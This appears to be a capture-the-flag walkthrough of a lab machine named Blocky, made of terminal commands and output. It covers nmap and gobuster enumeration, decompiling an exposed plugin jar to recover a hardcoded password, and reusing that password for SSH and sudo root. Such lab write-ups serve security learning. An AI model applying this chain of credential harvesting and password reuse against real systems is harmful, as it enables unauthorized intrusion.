```
[]$ nmap -Pn -T4 -A -v 10.129.1.53
Scanning 10.129.1.53 [1000 ports]
Discovered open port 22/tcp on 10.129.1.53
Discovered open port 80/tcp on 10.129.1.53
Discovered open port 21/tcp on 10.129.1.53

[]$ gobuster dir -e -u http://10.129.1.53/ -w
/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.129.1.53/
[+] Threads:        10
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2021/01/08 16:50:08 Starting gobuster
===============================================================
http://10.129.1.53/wiki (Status: 301)
http://10.129.1.53/wp-content (Status: 301)
http://10.129.1.53/plugins (Status: 301)
http://10.129.1.53/wp-includes (Status: 301)
http://10.129.1.53/javascript (Status: 301)
http://10.129.1.53/wp-admin (Status: 301)
http://10.129.1.53/phpmyadmin (Status: 301)
http://10.129.1.53/server-status (Status: 403)
===============================================================
2021/01/08 16:58:47 Finished
===============================================================


browse to :
http://10.129.1.53/plugins/

find BlockyCore.jar

decompile it with JD-GUI (java decompiler) :

---------------------------------------------------------------

package com.myfirstplugin;

public class BlockyCore {
 public String sqlHost = "localhost";

 public String sqlUser = "root";

 public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";

---------------------------------------------------------------


[]$ ssh notch@10.129.1.53
The authenticity of host '10.129.1.53 (10.129.1.53)' can't be established.
```

```
ECDSA key fingerprint is SHA256:lg0igJ5ScjVO6jNwCH/OmEjdeO2+fx+MQhV/ne2i900.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.129.1.53' (ECDSA) to the list of known hosts.
notch@10.129.1.53's password: 8YsqfCTnvxAUeduzjNSXe22
elcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

7 packages can be updated.
7 updates are security updates.


Last login: Thu Sep 24 08:12:11 2020 from 10.10.14.2
notch@Blocky:~$ whoami
notch
notch@Blocky:~$ ls
minecraft  user.txt
notch@Blocky:~$ cat user.txt
59fee0977fb6******************

running LinEnum script tell us notch is part of the sudoers group

notch@Blocky:~$ sudo -i
[sudo] password for notch: 8YsqfCTnvxAUeduzjNSXe22
root@Blocky:~# ls
dhcp.sh  root.txt
root@Blocky:~# cat root.txt
0a9694a5b4d2******************
```